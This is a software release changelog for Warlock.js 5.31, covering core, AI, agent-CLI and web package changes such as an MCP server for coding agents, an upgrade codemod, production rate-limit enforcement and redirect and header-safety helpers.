    • Addedwarlock test [filters...] runs the project's own Vitest with --changed (optionally --since <ref>), --related <files>, --watch, --test-name-pattern and --json; change-scoped runs pass when no test is affected.
    • AddedStorage exposes isInitialized, driverNames() and getDefaultName(); mail exposes getExplicitMailMode() and resetMailMode().
    • Addedwarlock upgrade --to <version> applies the mechanical edits for each breaking change between the installed release and the target, lists every place that needs a decision with file:line, a hint and the skill to read, and moves every @warlock.js/* dependency to the target. --dry-run prints a unified diff and writes nothing, --json prints the result, --from sets the version upgrading from; without it the command reads the installed @warlock.js/core, which is already the target once the new release is installed, so pass it (warlock upgrade --from 5.30 --to 5.31.0). With no --from and the installed version equal to the target, the command stops and asks for --from <previous version>. Codemods for 5.30 and 5.31: logger-sync-calls, request-log-snapshot, head-viewport, node-22-15, warlock-versions, plus review lists for seal-validate-result, ai-tool-dispatch, ai-anthropic-body, ai-finish-reason, rate-limit-defaults, seal-refine-output, seal-container-catch, seal-union-output and ai-compaction-opt-in. Source edits use ts-morph, an optional peer loaded only by this command; without it the command prints the install command and changes nothing.
    • AddedRoute option public?: boolean (also on router.group(), inherited by its routes; a route's own public: false opts back out) records that a mutating route is intentionally reachable without signing in. It changes nothing at runtime.
    • Addedwarlock dev warns once per route about POST/PUT/PATCH/DELETE routes that have no auth middleware and no public: true, listing method, path and route file; HMR-added routes are reported when they commit. Page routes are skipped, production never checks, and http.warnUnguardedRoutes: false turns it off. Middleware counts as a guard when marked with the new markAuthGuard(middleware, isGuard?) (authMiddleware() marks itself) or, unmarked, when its function name contains auth or guard; isAuthGuardMiddleware(), isUnguardedMutatingRoute() and reportUnguardedMutatingRoutes() are exported for tooling.
    • AddedsafeRedirect(target, { allowedOrigins, fallback }) and isSafeRedirect(target, options?): an allowlist for redirect targets taken from request input. Same-origin paths and absolute http(s) URLs on an allowed origin pass; //host, /\host, other schemes, credentials in the URL and control characters fall back to "/" (or fallback). response.redirect() itself is unchanged.
    • AddedescapeHeaderValue(value) makes any value a valid header value: CR/LF/NUL and other control characters (tab kept) are removed, non-Latin-1 characters become ?, and the result is trimmed, so request input cannot split a header or make Node throw a 500.
    • AddedTyped, validated configuration: a src/config/<name>.ts file may export configSchema = defineConfigSchema(validator, { env }) next to its default export (ConfigOf<typeof configSchema> types the value). Dev boot, each config hot reload and the production loader warlock build generates validate it before registration and throw one InvalidConfigError listing every problem in every config file (key path, rule message, the environment variable to set), never the values. An invalid config never reaches its special handler; an invalid hot reload keeps the previous value. Files without a schema load as before.
    • Addedwarlock mcp serves the app to coding agents over the Model Context Protocol — stdio by default, or --http (Streamable HTTP on 127.0.0.1; --token / WARLOCK_MCP_TOKEN required for any other host). Tools: inspect_app and one inspect_<section> per inspect section (with filters, e.g. inspect_routes { unguardedWrites: true }), db_schema (tables, columns, keys and relations from the models), docs_search / docs_read (offline, over the installed @warlock.js/* skills, READMEs and llms files only), explain, check_run, test_run (one file, the tests related to changed files, or the suite), requests_recent (devtools: phases, queries with nPlusOne flags, logs, timings) and generate_make / generate_add, which run the generator in a throw-away copy of the project and return a unified diff. Read-only by default: writing needs --allow-writes, otherwise write: true is refused (WL7005). @warlock.js/ai-tools is a new optional peer, imported only by this command; a missing one fails with WL7003 and the install line. Tool names use _ because model APIs refuse . in tool names.
    • Addedwarlock dev --mcp (or devServer.mcp: true | { port, token, allowWrites }) serves the same tools from the dev server over loopback HTTP, reading the live registries after each hot reload.
    • Addedwarlock dev records its address, devtools mount and MCP endpoint in .warlock/dev-server.json (removed on shutdown); warlock trace and requests_recent read it.
    • Addedwarlock trace <method> <url> [--body json|@file] [--header k:v] [--json] sends one request to the running dev server (correlated by x-request-id) and prints its devtools timeline as a versioned report (schemaVersion: 1): middleware with timings, the validation result and errors, handler time, queries with N+1 flags, logs, cache operations, mails, the response (authorization and cookie headers redacted, bodies capped) and timings. Devtools is checked before anything is sent: WL8008 when the dev server is not running, WL8009 when devtools is not, WL5004 when devtools recorded no timeline; failures exit 2 for this machine and 1 otherwise.
    • Addedwarlock agents-md [--write] [--json] generates the app-specific section of AGENTS.md from the booted app — modules with route and model counts, a routes summary with unguarded writes flagged, models, the conventions warlock check enforces, the installed skills and the verify commands — between <!-- warlock:generated:start --> and <!-- warlock:generated:end -->. Content outside the markers is never changed; malformed markers fail with WL7501 and nothing is written. warlock dev refreshes the section on boot and after reloads (debounced, written only when it changed); devServer.agentsMd: false turns that off.
    • Addedwarlock board init|add|status|send|watch [--json] is a file-based protocol for two coding agents (an implementer and a reviewer) in a git-ignored .warlock/board/: items with the states todo, in-progress, ready-for-review, changes-requested, approved and blocked (refused moves fail with WL7403), append-only numbered messages per recipient (to-<agent>/NNNN-<slug>.md), VERDICT: APPROVED / VERDICT: CHANGES REQUESTED lines that move the item, and a watch that blocks until a new message arrives or times out (WL7404, exit 3). New codes WL7401–WL7404 cover the board.
    • AddedrunTests({ files | changed | base }) runs the app's vitest for one file, the tests related to changed files, or the suite, with the warlock check problem shape. It and the building blocks of the commands above (startWarlockMcpServer, createMcpContext, createWarlockMcpTools, searchDocs, buildDbSchema, sandboxBackend, applyGeneration, traceRequest, connectDevtools, renderAgentsMdSection, writeAgentsMd, createAgentsMdRefresher, initBoard, watchBoard, …) are exported from @warlock.js/core/tooling.
    • AddedSkills warlock-mcp, warlock-trace, warlock-agents-md and warlock-board; warlock-inspect points agents at the MCP tools. Docs pages for warlock mcp, warlock trace, warlock agents-md and warlock board, and the new codes on the error-code reference.
    • AddedEnd-to-end configuration recipes cover a non-default R2 image disk, variant ingestion and serving, and shared Redis rate-limit windows across two servers with outage behavior.
    • AddedThe upgrade-from-5-29 skill guides application upgrades through logger delivery, tool concurrency, request snapshots, auth counter/lock resets, image cache layouts and viewport metadata. It covers Seal result narrowing and refinement/container/union behavior, AI finish reasons and replay, bounded workspace reads, and production rate-limit migration in 5.31; cut-off AI agent answers (AgentIncompleteError with report.status: "incomplete", continueOnOutputLimit, per-run modelOptions and the Anthropic adapter's larger default max_tokens); the AI cost changes (per-provider cache billing, totalCost, the new built-in model prices and removed defaults, and ProviderOverloadedError); and the AI workspace changes (the larger tools.all() set, the new WorkspaceOps / Workspace methods, nested-command refusals and dispose()).
    • AddedSkills include complete examples for request cancellation, stream/SSE backpressure and retention, HTTP error mapping, shared rate limits and signed-in test clients.
    • AddedNotification scaffolds with test support emit real signed-in controller specs and isolated two-recipient fixtures for listing, unread counts, marking one/all read, query validation and ownership checks. Fixtures use the configured auth model and revoke/delete only their own credentials and rows.
    • AddedactingAs(user) at @warlock.js/core/tests issues a real persisted access token and returns isolated authenticated HTTP helpers. Middleware remains active; client.dispose() revokes only its token.
    • AddedOptional Oxlint background file checks during development. Install Oxlint in the app and add .oxlintrc.json, .oxlintrc.jsonc, oxlint.config.ts or oxlint.config.mts; changed files are linted in sequential batches in a worker and JSON diagnostics appear with rule, location and severity. Large boot scans stay within platform command-line limits, tool/config failures include actionable CLI output, and results omit source contents. Both configured ESLint and Oxlint run by default; ESLint still needs only its app configuration and uses core's own dependency. devServer.healthCheckers also accepts { typescript?, eslint?, oxlint? } switches while preserving custom arrays and false.
    • AddedReal Redis integration coverage for cache-backed HTTP rate-limit stores, including concurrent requests, preserved deadlines and counters recreated after a seeded key expires. Local runs opt in with WARLOCK_REDIS_INTEGRATION=1; CI requires a live Redis service. Tests use UUID prefixes and clean only their own keys.
    • AddedImage variants support object-storage disks through resolveImageVariant, createUploadedFileController and generateImageVariants({ disk, urlPrefix }). Remote originals retain their driver URL; derivatives are cached locally, with bounded source reads and generation keys that isolate buckets and tenant prefixes. ETag metadata avoids downloads on cache hits; sources without an ETag use content hashes. Concurrent downloads are shared, and ingest downloads once for all variants/formats. The default public uploads controller keeps returning 404 for cloud default disks; an explicit disk or remote: true deliberately opts a controller into cloud serving.
    • Addeduploads.images.maxCacheBytes (default 512 MiB) and maxCacheAge (default seven days) bound cached derivatives. Expired hits render again; cleanup removes expired and oldest files, retaining the derivative being returned even when it alone exceeds the byte budget. Writes schedule a coalesced background sweep at most once per minute; hits never walk the cache and the byte budget is eventual. Idle caches are reclaimed after their next generated derivative.
    • AddedSSE supports unnamed events (send(undefined, data)) and raw string payloads through a fourth { raw: true } argument, with safe multiline data: encoding. SSE and streams accept explicit cache headers before flushing while protecting protocol/drain headers and keeping safe cache defaults.
    • AddedSSE and stream controllers gain synchronous enqueue() with a byte cap (maxQueuedBytes, default 1 MiB for enqueue), disconnect/drop overflow policies with a visible dropped counter, ordered draining and flushing accepted queued output on end().
    • Addedhttp.logging.private applies path-prefix or regular-expression policies to decoded, normalized request URLs, including unmatched requests. Matching policies check raw, decoded and resolved paths plus the matched route pattern, remove input before snapshots are built and cannot be overridden by per-route logging. Dev-dispatch error URLs use the same policy.
    • Changedwarlock dev exits with code 1 and a clear error when it is started on Bun or Deno: the development server is Node-only. Before, it started partway and then failed in confusing ways. The error names the runtime and points to the production start commands. warlock build on Bun or Deno still runs, but prints a notice that only the Node build is verified.
    • ChangedA source checkout of @warlock.js/core run by a runtime without module.registerHooks now prints what is missing, instead of failing with "registerHooks is not a function".
    • ChangedStatic file serving loads @fastify/static on the first file request instead of at boot, including existing public folders and router.directory mounts. The directory globber loads at boot only for wildcard: false. Concurrent first requests share initialization; upstream headers, ranges, listings, decorators and exact routes for wildcard: false are preserved.
    • ChangedRequest-log privacy rules (http.logging.private) are prepared once per configured array instead of on every log snapshot: each string prefix is normalised a single time, and a regex rule's need for a fresh copy (global or sticky flags) is decided once. Setting a new array applies its rules; editing the existing array in place is no longer picked up. The logging docs and configure-app skill now also say that a route pattern containing a % that does not decode withholds body and query on every request to that route.
    • ChangedBREAKING: Node.js 22.15 or newer is required (engines.node: ">=22.15"): the warlock CLI loads TypeScript through module.registerHooks, which Node added in 22.15. warlock upgrade --from 5.30 --to 5.31.0 raises the app's engines.node, .nvmrc and .node-version (codemod node-22-15).
    • FixedSkill examples compile against the current API: the LLM-streaming example iterates agent.stream() events (agent.trip.streaming / event.delta), the raw-query example uses app.database?.driver.query(...), the environment-aware logging example sets per-channel levels (LogConfigurations has no level), the authenticated-test examples use authService.createTokenPair(user) and accessToken.token, devServer.healthCheckers shows a valid value, and examples import or declare everything they use.
    • FixedRunning bin/warlock.js from a source checkout (no esm/ build next to it) no longer crashes every booting command (doctor, inspect, mcp, routes) on Node.js 22.15 with TypeError: t is not a function from dayjs.extend. The bin's TypeScript load hook ran in the main thread, and on 22.15 that hands a CommonJS package the empty, not-yet-run exports of a file an ES module also imports (@mongez/time-wizard requiring the dayjs utc and timezone plugins). The hook now runs in a module.register() loader worker. Bare subpaths of a package consumed as source, such as @warlock.js/core/net, now resolve to the directory's index.ts instead of failing with ERR_UNSUPPORTED_DIR_IMPORT, so warlock mcp loads @warlock.js/ai from source. The published package, which loads compiled output without hooks, was not affected.
    • FixedConditional requests follow RFC 9110: If-None-Match uses weak comparison on both sides (a weak current ETag now matches its strong form) and parses quoted tags containing commas; If-Match uses strong comparison, so a W/ tag never satisfies it. response.sendFile(), sendBuffer()/sendImage() with an etag and the uploads variant controller answer a failed If-Match or If-Unmodified-Since with 412, and evaluate the headers in the RFC order.
    • FixedThe development wildcard dispatcher applies the global rate limiter per matched route instead of to every request, so a route exempted with rateLimit: false or serverOptions: { config: { rateLimit: false } }, a static file route and an unmatched URL are not counted, exactly as in production. Routes with a wildcard path share the global bucket in both modes.
    • Fixedwarlock generate.module list controllers validate their query (page, limit) with a schema and pass request.validated() to the list service instead of request.all(); the web starter's contact route is registered with public: true.
    • FixedReact module-resolution regressions preserve the ESM package boundary in isolated fixtures and report child-process stderr before checking output, so missing and broken React installations are tested correctly under Node.js 22.15.
    • FixedThe TypeScript worker configured-root regression uses the framework's real source-worker bootstrap on Node.js 22.15, retaining its declaration, update and deletion checks instead of starting an unsupported direct .ts worker entry. The same assertions also run against a built .mjs worker without loader hooks.
    • FixedUpgrade guidance names AgentConfig.compaction, covers sub-agent dispatch and blank/default validation changes, and explains which routes the production rate quotas cover. In 5.31, purgeImageVariants() preserves legacy two-level cache files; retire them manually, correcting the earlier 5.30 cleanup suggestion.
    • FixedPer-file image-cache purges refuse symlinked shard directories for local and object-storage disks. Stale-generation pruning now removes only recognized cache files from older generation-shaped folders, preserving current-generation files, unrelated entries, directories and symlinks.
    • FixedThe error-handling guide gives the schema-validation failure status as 422, matching the framework default, and the validation skill's introduction no longer says 400.
    • FixedThe validation skill shows the HTTP 422 body as strict JSON that can be copied into a JSON parser.
    • FixedImage-variant purges remove only recognized cache files and retain the cache root, directories, unrelated files and symlinks. Purge and background eviction validate every shard/source/generation path component, so a cache nested inside storage cannot recursively delete uploads. Use a dedicated derivative folder.
    • FixedNotification test fixtures roll back partially created users, tokens and rows on setup failure, attempt all cleanup operations and clear their reference before teardown. actingAs() refuses non-test environments before issuing credentials and revokes a newly issued blank token before rejecting it.
    • FixedImage-variant generation and purging reject a cache directory that equals or contains any configured local storage root, including runtime-registered disks and symlink aliases. Validation happens in the shared cache-directory resolver, so purgeImageVariants() cannot bypass it and delete uploads through an overlapping cache setting.
    • FixedOxlint failures preserve stdout config errors alongside stderr warnings and bound command diagnostics without echoing file arguments. Health-worker shutdown waits briefly for child cleanup before forced termination.
    • FixedGenerator selection prompts reject an empty choices list before opening terminal input; indexed reads retain their validated bounds under stricter compiler checks.
    • FixedFramework HTTP/2 servers start with default shutdown options and track sessions even without HTTP/1 idle-connection support. Graceful HTTP/2 drains close sessions after active streams finish without setting forbidden connection headers. SSE and stream helpers omit HTTP/1 framing headers on HTTP/2.
    • FixedBoth sse() and stream() ignore caller Content-Length, Transfer-Encoding, Content-Type, Connection, Keep-Alive, Proxy-Connection and Upgrade option headers. HTTP/1.1 retains chunked framing and reusable connections; HTTP/1.0 remains close-delimited without Transfer-Encoding.
    • FixedGenerated Vitest configuration discovers both .test.ts and .spec.ts, including notification controller specs. Existing apps should use include: ["src/app/**/*.{test,spec}.ts"].
    • FixedSource health-check workers start on Node.js 22.15 through a JavaScript bootstrap and tsx's import API; passing a .ts entry directly to a worker could fail before its loader hook ran. Published .mjs workers keep their direct startup path.
    • FixedThe cache-backed rate limiter supplies its per-window TTL on every atomic increment, so a key that expires after the create-only seed cannot be recreated without an expiry.
    • FixedThe CLI rejects unsupported Node versions with one clear message and a non-zero exit before loading the published entry or registering the source loader.
    • FixedImage-variant cache sweeps remove writer temporaries left by a crashed write once they are an hour old, and remove a generation's source.json and then its empty directory (after a five-minute grace, never through a symlink) once its derivatives are gone, so object-storage generations no longer pile up when ETags change. Scheduled checks skip the cache walk while the estimate is within budget and nothing has expired; the first check after boot and one per maxCacheAge still walk.
    • FixedA cache directory or disk root that cannot be resolved (ENOTDIR, EACCES, ELOOP) now throws ImageVariantsConfigError, with the original error as its cause, instead of the raw file-system error. The cache-overlap guard remembers its result per cache, disk root and configured local roots instead of resolving every path on each variant request; a newly registered disk is checked again.
    • FixedDev-server Oxlint checks no longer abort a boot scan on one over-long path: it runs in its own batch and, if the OS still refuses it, only that file is reported as unchecked. Batches count each argument's argv pointer on POSIX, hold at most 500 files, and a batch whose report overflows the output buffer is split and retried. Shutdown sends SIGKILL 250 ms after SIGTERM to a CLI child that ignores it, and an interrupted check reports a cancellation instead of a 30-second timeout.
    • SecurityIn every release up to and including 5.30.0, the global http.rateLimit did not apply to application routes in production, and per-route rateLimit options had no effect in production (development enforced them). 5.31 enforces both: the shared bucket now covers pages and API routes. Static files (the public folder, router.directory() mounts, router.file() routes and the web build's assets) and the built-in liveness and readiness probes are exempt by default; http.rateLimit.staticFiles: true and http.health.rateLimit: true opt them into the global policy.
    @warlock.js/aiAdded 30Changed 6Fixed 6
    • AddedUsage.inputIncludesCache says whether input contains the cache counters (set by each first-party adapter; absent reads as true), and Usage.cacheWrite1hTokens counts 1-hour cache writes. Usage merged across providers with different semantics is normalised to true.
    • AddedModelPricing.cacheWrite and cacheWrite1h (USD per 1M tokens written to the cache, default and 1-hour lifetime). Cost breakdowns carry cache-write spend in cost.cacheWrite; computeCost also bills reasoningTokens at ModelPricing.reasoning when that rate is set.
    • AddedtotalCost(cost) sums every channel of a cost breakdown; attachCost(usage, pricing) attaches it to a usage. First-party adapters now attach usage.cost to model.complete() and the streaming done chunk when the model is priced, so side calls outside an agent are costed.
    • AddedProviderError.status (HTTP status), .billed (true | false | "unknown", failing closed to "unknown" unless the call never reached a billable account or the provider documents the status as free) and .retryable. ProviderErrorOptions and ProviderBilled are exported.
    • AddedProviderOverloadedError with code PROVIDER_OVERLOADED (always retryable) for provider overloads; fallbackModel fails over on it by default.
    • AddedestimateInputTokens(messages, options) — an offline estimate of a call's input tokens (text, tool calls, tool schemas, response schema) — and countInputTokens(model, messages, options), which uses the model's native countTokens when it has one and reports source: "native" | "estimate".
    • Addedbudget({ reserve: { outputTokens, inputTokens? } }): reserve each trip's worst case before the call, commit the actual usage after it, release the reservation when the call fails. Applies to the run caps and, atomically through the store, to scoped ledgers, so concurrent runs cannot jointly overspend. BudgetPricing entries may now be a ModelPricing (cache rates included) besides { inputPer1K, outputPer1K }.
    • AddedmeasureTools(tools, { model, mode }) reports the input tokens a tool list adds per call, per tool and in total, counted natively when the model can and estimated otherwise. Registered as ai.tools.measure by @warlock.js/ai-tools.
    • AddedCompact tool schemas: compactJsonSchema(), extractJsonSchema(schema, { compact }), withCompactJsonSchema(), compactToolSchemas() and the toolSchemas: "full" | "compact" option on ai.agent() and execute(). Compact schemas drop annotations (descriptions, titles, examples, defaults) and collapse const unions to enum; validation is unchanged.
    • AddedcreateToolContext({ artifacts?, signal? }) builds the ToolContext for invoking a tool outside the agent loop.
    • AddedverifyModelSignalContract({ createModel }) checks that a model adapter honours ModelCallOptions.signal: a call with an already-aborted signal rejects, and aborting mid-call rejects promptly and cancels the HTTP request, for complete() and stream(). It serves an ephemeral local port that never answers (protocol: "http2" for HTTP/2 clients), has no test-runner dependency, and throws an Error naming the failed check. Honouring signal is now part of the documented ModelContract, and every first-party adapter runs this check.
    • AddedcontinueOnOutputLimit: n on AgentConfig and AgentExecuteOptions: up to n times per run, a response cut off by the output cap is continued with a continue turn and the segments are joined in result.text (and the structured output parsed from it), also on the stream and during repair. A tool call cut off mid-input is dropped and the model is told it did not run. Each continuation is a trip within maxTrips; a full context window is never continued.
    • Addedagent.execute(input, { modelOptions }) and agent.stream(input, { modelOptions }) set model call options (reasoning effort, maxTokens, cacheControl, providerOptions, …) for that run only, shallow-merged over AgentConfig.modelOptions; the agent is not changed. tools, signal and responseSchema in the per-call object are ignored.
    • AddedTool events carry the provider's tool-call id as callId: agent.tool.calling, agent.tool.called and agent.tool.failed (event payloads and stream events), the ToolCall record (report.children[].callId), the tool middleware context (ctx.callId), and the human-approval PolicyContext / ApprovalRequestContext. Concurrent calls to the same tool in one trip can now be told apart. Tool log lines include it.
    • AddedAgentIncompleteError, AgentIncompleteErrorOptions and AgentIncompleteReason are exported; AIErrorCode gains AGENT_INCOMPLETE, ErrorCategory and ReportStatus gain incomplete, and LLMTrip gains truncatedToolCalls.
    • Addedagent.stream() emits agent.trip.reasoning (reasoning / thinking text), agent.tool.streaming ({ callId, name, delta } pieces of a tool call's arguments while the model writes them) and agent.trip.usage (running token counts for the trip) wherever the provider streams them. execute() is unchanged; modelOptions.streamChunks turns them down.
    • AddedModelStreamChunk gains reasoning, tool-args and usage chunks. They are opt-in on model.stream() through ModelCallOptions.streamChunks (true or { reasoning?, toolArgs?, usage? }), so existing chunk consumers see exactly the old delta / tool-call / done sequence. resolveStreamChunks(options) resolves the option for adapters; MockModel emits all three (scripted reasoning, the tool input as tool-args, a final usage) when asked.
    • Addedai.providerTool({ provider, definition, execute? }) declares a provider-defined tool (web search, code execution, bash, text editor, search grounding, …). The agent sends it as ModelCallOptions.providerTools; only the named provider receives the definition, verbatim, and every other adapter skips it with one providerTool.skipped warning. Client-run provider tools dispatch to execute by name. Also exported: isProviderTool, selectProviderTools (adapter helper), ProviderTool, ProviderToolDefinition.
    • AddedRegression fixtures assert required model and identifier segments before reading them under stricter indexed-access checks; the compiler error budget falls by ten.
    • AddedSkills include complete examples for per-trip tool concurrency and native token preflight with provider-specific request options.
    • AddedAgents can opt into automatic history compaction with an explicit token threshold, a summary callback and an optional native/custom counter. System prompts, current input and tool groups are preserved. Applied/skipped decisions are recorded on reports and durable snapshots.
    • AddedCompaction works on thinking runs. The replaced range always ends before the open tool round, which goes back verbatim with its signed thinking. When kept turns after the range carry signed reasoning, the summary is framed as user context and those turns are marked compaction: "retained" (the summary compaction: "summary"), so adapters whose providers bind reasoning to the exact prior history can leave it out on replay.
    • Addedai.compaction.summarize({ model, instructions?, maxTokens?, modelOptions?, onUsage? }) (also summarizeCompaction): a ready-made compaction.summarize callback. It sends the slice as a tagged transcript with Anthropic's published client-side compaction prompt (DEFAULT_COMPACTION_INSTRUCTIONS), reads the <summary> tags, and throws on a truncated, refused or empty reply so the agent keeps the conversation. renderTranscript(messages) is exported for custom callbacks.
    • Addedai.session({ id, store, agent, lock? }): a persisted multi-turn conversation with one agent — send, stream, history, load, fork, truncate, resume, clear. Each send stores the whole turn (tool rounds, provider blocks, attachment parts), failed runs leave the history unchanged, sends on one session id are serialized, the agent's compaction policy compacts long sessions, and a send interrupted by a crash resumes through a durable agent.
    • Addedai.snapshot.file({ dir }) and ai.snapshot.sqlite({ path } | { database }) snapshot stores for local-first apps, usable for durable runs, supervisor snapshots and sessions. The SQLite store uses Node's built-in node:sqlite (Node 22.5+; no flag on Node 22.13+), loaded only on first use, or any open exec / prepare database such as better-sqlite3; it creates its table on first use unless createTable: false.
    • AddedMessage.compaction / CapturedMessage.compaction ("summary" | "retained"), and a per-call captureMessages option on agent.execute / stream.
    • Addedai.snapshot.pg() and ai.snapshot.redis() are generic over the snapshot shape like the other snapshot factories; the default stays SupervisorSnapshot.
    • AddedModelContract.countTokens?() represents optional native input-token preflight, separate from offline SDK estimates.
    • AddedSpawnSubAgentSpec accepts toolDispatch and maxConcurrentTools, forwarded to the fresh agent. Defaults match ai.agent() (concurrent, up to four calls).
    • AddedToolContext.request (ToolRequestContext: headers, remoteAddress) carries the inbound request when a server transport runs the tool for a remote client, such as ai.mcp.serve over HTTP. It is unset for in-process dispatch and never reaches the model.
    • ChangedMockModel infers finishReason: "tool_calls" when a scripted response has non-empty toolCalls and no finishReason, so scripted tool calls run without repeating the finish reason. An explicit finishReason still wins.
    • ChangedMockModel honours signal: an already-aborted signal rejects the call, an abort during a scripted delay rejects immediately, and stream() stops between chunks. The rejection is the signal's reason when it is an Error, otherwise an AbortError DOMException.
    • Changed@warlock.js/ai imports Core's private-address classifier from the new side-effect-free @warlock.js/core/net subpath instead of the Core root, so a standalone process running ai.agent no longer loads Core's HTTP server, database, cache and mail modules, and bundlers no longer need to alias Core. An import-graph test fails if anything reachable from the package entry imports the Core root. The installation guide documents @warlock.js/cache and @warlock.js/cascade as optional, lazily loaded peers for standalone use.
    • ChangedBREAKING An agent run whose final response was cut off — by the output token cap (finishReason: "length") or the context window ("context_exceeded") — no longer finishes as a success with empty or partial text. It ends with result.error an AgentIncompleteError (code: "AGENT_INCOMPLETE", category "incomplete", reason: "output_limit" | "context_window", tripIndex, continuations) and report.status: "incomplete"; result.text keeps the partial text. A tool call the model was still writing is never executed and is listed on the trip's new truncatedToolCalls. Durable snapshots of such a run are stored as failed, so resume() retries the cut-off trip.
    • ChangedThe semantic cache never stores a response cut off by the output cap or the context window; a continued answer is stored whole.
    • ChangedThe provider matrix documents inherited providerOptions.openai.body on xAI, Groq, DeepSeek and Mistral, and warns against sharing provider-specific fields across incompatible fallback models.
    • FixedSkill examples compile against the current API: the guardrail skills import from @warlock.js/ai (guardrails ship in core; there is no @warlock.js/ai-guard package), ai.config({ defaultStore }) awaits cache.driver(...), MockSDK is called without new, the observer skill no longer lists the internal clearObservers, the vector-store tool maps { key, score, value } hits, and examples declare the agents, tools and clients they use.
    • FixedcomputeCost bills Anthropic and Bedrock prompt caching correctly. Their input excludes cache reads and writes, so cache reads are no longer subtracted from it (which could floor fresh input at 0), and cache writes are now charged: at ModelPricing.cacheWrite, with the 1-hour share at cacheWrite1h. OpenAI-style usage, where input includes cached tokens, is billed as before.
    • FixedBatch, planner and fallback-model usage rollups use the shared mergeUsage, so they keep every usage channel and the cache semantics flag.
    • FixedThe streaming agent loop reads the finish reason and usage only from the done chunk and ignores chunk types it does not know, instead of treating any other chunk as done. fallbackModel().stream() still falls over after a model emitted only a usage chunk.
    • FixedAutomatic compaction preserves the original execution input during output repair and durable resume, records its updated snapshot index, and frames a first-turn summary as user context. Legacy snapshots with missing or ambiguous input skip compaction safely.
    • FixedA durable snapshot's persisted input index is trusted on resume only when it is an integer inside the conversation that points at a user message. An out-of-range, negative, fractional or non-user index (a corrupted or hand-edited snapshot) falls back to finding the unique matching input, and compaction itself refuses to protect a non-user message, recording no-safe-range instead of summarising the input.
    @warlock.js/ai-cliAdded 10Fixed 1
    • AddedFirst release: drive vendor coding-agent CLIs headless as agents. cli.<vendor>(options) (also ai.cli.<vendor> after importing the package) returns a CLI agent. run(prompt, { cwd, resume, signal, timeoutMs, model, effort, permission, mcp, env, apiKey, args }) starts one session, and returns CliSession with events, done() and cancel().
    • AddedAdapters for Claude Code, Codex, Antigravity, Qwen Code, Kimi Code, Cursor, Copilot, Grok Build, OpenCode, Amp, Factory Droid, Mistral Vibe, Aider and Reasonix. Each records the CLI version, the official sources, and whether it was verified against the real --help or against the docs (adapter.verification).
    • AddedOne event model for every vendor: session.started, message (deltas and complete messages), tool.call, tool.result, usage, error and session.ended. session.done() resolves { status, text, messages, usage, sessionRef, exitCode, signal, error, stderr, durationMs } and never rejects.
    • AddedCapability probe: before the first run, the CLI's --version and help screens are read, and every flag the launch plan relies on must be listed. A missing flag fails the run with CliError (type: "capability"), naming the flag and the installed version.
    • AddedSecrets never go to argv: - API keys travel in the environment (apiKey). - Per-run MCP servers are written as a mode-0600 file in a private per-run directory, removed after the run. - Each run gets a private config home by default (CLAUDE_CONFIG_DIR, CODEX_HOME, COPILOT_HOME, GROK_HOME, …). home also takes a path you own, or "inherit".
    • Addedpermission defaults to "standard", the CLI's own non-interactive approval rules. Each vendor's approve-everything mode is used only with permission: "bypass".
    • AddedWindows spawn rules: - PATHEXT lookup. - npm and pnpm .cmd shims are unwrapped to node <script> (or their native .exe). - Other batch files fall back to cmd.exe /d /v:off /s /c with every argument quoted, refusing bytes cmd.exe cannot carry. - The prompt moves to stdin or a prompt file when argv cannot carry it.
    • AddedCancellation (signal, cancel()) and timeoutMs kill the CLI's whole process tree. On POSIX this is its own process group, with SIGTERM then SIGKILL; on Windows, taskkill /T /F on its PID.
    • Addedagent.model(config) / cliModel(agent, config) wraps a CLI agent as a ModelContract, so ai.agent and its budget, guardrail, observer and fallback middleware can drive a CLI.
    • AddedcreateCliAgent(adapter, options) / cli.custom(adapter) and the documented CliAdapter interface let apps add vendors. The building blocks are exported: jsonLinesParser, createClaudeStreamParser, mcpServersJson, toToml, mapEffort, requirePrivateHome and more.
    • Fixedsession.cancel(), or aborting the run's signal, after the run has finished no longer signals the CLI's old process group. Once the CLI's pipes close, cancellation is a no-op, so a finally { session.cancel() } cannot reach an unrelated process that reused the pid. The abort listener is also removed when the run settles.
    @warlock.js/webAdded 4Fixed 8Security 1
    • AddedSkills include complete examples for viewport metadata, typed Link wrappers, runtime route-name checks and independent form submissions with query parameters. Settled-outcome guidance handles action errors and dropped submissions separately from completed requests.
    • AddedDevelopment checks compile the optional Web Vitals example against its actual types; Web Vitals remains an app-installed optional dependency.
    • Added<Form onSettled={outcome => …}> observes every enhanced submission outcome, including network failures and dropped submissions, after the existing success/error callbacks. Native browser submissions do not invoke it.
    • AddedA submit button marked data-independent opts that submission into independent mode, so a Cancel button can run beside Start within the same form.
    • FixedSitemap routes compare If-Match strongly and answer 412 when it does not name the exact strong ETag; If-None-Match keeps weak comparison and both use core's RFC 9110 precondition evaluation. The W/ weakness prefix is matched case-sensitively, as the RFC defines it.
    • FixedPages render on Bun and Deno. Both runtimes resolve a bare react-dom/server import through their own export conditions to a React build without renderToPipeableStream, so every page request on a built app failed with "renderToPipeableStream is not a function" (HTTP 500). The page renderer now loads React's Node server build, react-dom/server.node, when the selected build cannot stream. Node keeps the module it selected before.
    • FixedThe server-page-cache test fixture explicitly disables unrelated HTTP throttling and restores its previous configuration on teardown, so repeated cache requests exercise cache behavior after production rate-limit enforcement was corrected.
    • FixedPublished page skills include complete support modules, schemas and generated-type prerequisites; their HTTP examples and Vitest discovery match current APIs. The skill compile gate verifies them without a failure allowance.
    • FixedThe root middleware example declares its own request-local type rather than depending on another skill's augmentation.
    • FixedGuarded useUser(name) retains the last committed signed-in user when a concurrent transition suspends and is abandoned. Navigation callbacks also read the committed page, and boundary reset counters commit with their page swap. A regression verifies that an abandoned transition preserves the visible error fallback and does not report its error again before the next committed swap.
    • FixedLocale context reuse after development edits is covered by a real Vite dev-server/HMR regression: a retained provider continues to serve refreshed locale and translation hooks after repeated filesystem edits. An unshared-context control reproduces the missing-provider HTTP failure.
    • Fixed<Form>'s onSettled documentation says that a form unmounting drops only independent submissions (the form's independent prop or a data-independent submit button); other in-flight submissions are not aborted by an unmount. Regression tests cover onSettled running once when onSuccess throws and a data-independent button's submission being aborted on unmount.
    • SecurityThe global HTTP rate limiter that 5.31 enforces covers page routes and API routes; the production client bundle (/assets/*) and the public files copied by warlock build are static files and exempt by default, so one page load's script, stylesheet, font and image requests do not spend the visitor's quota. http.rateLimit.staticFiles: true counts them again. In development, Vite answers module and asset requests before any route runs, so they never count.
    @warlock.js/ai-anthropicAdded 12Changed 3Fixed 7
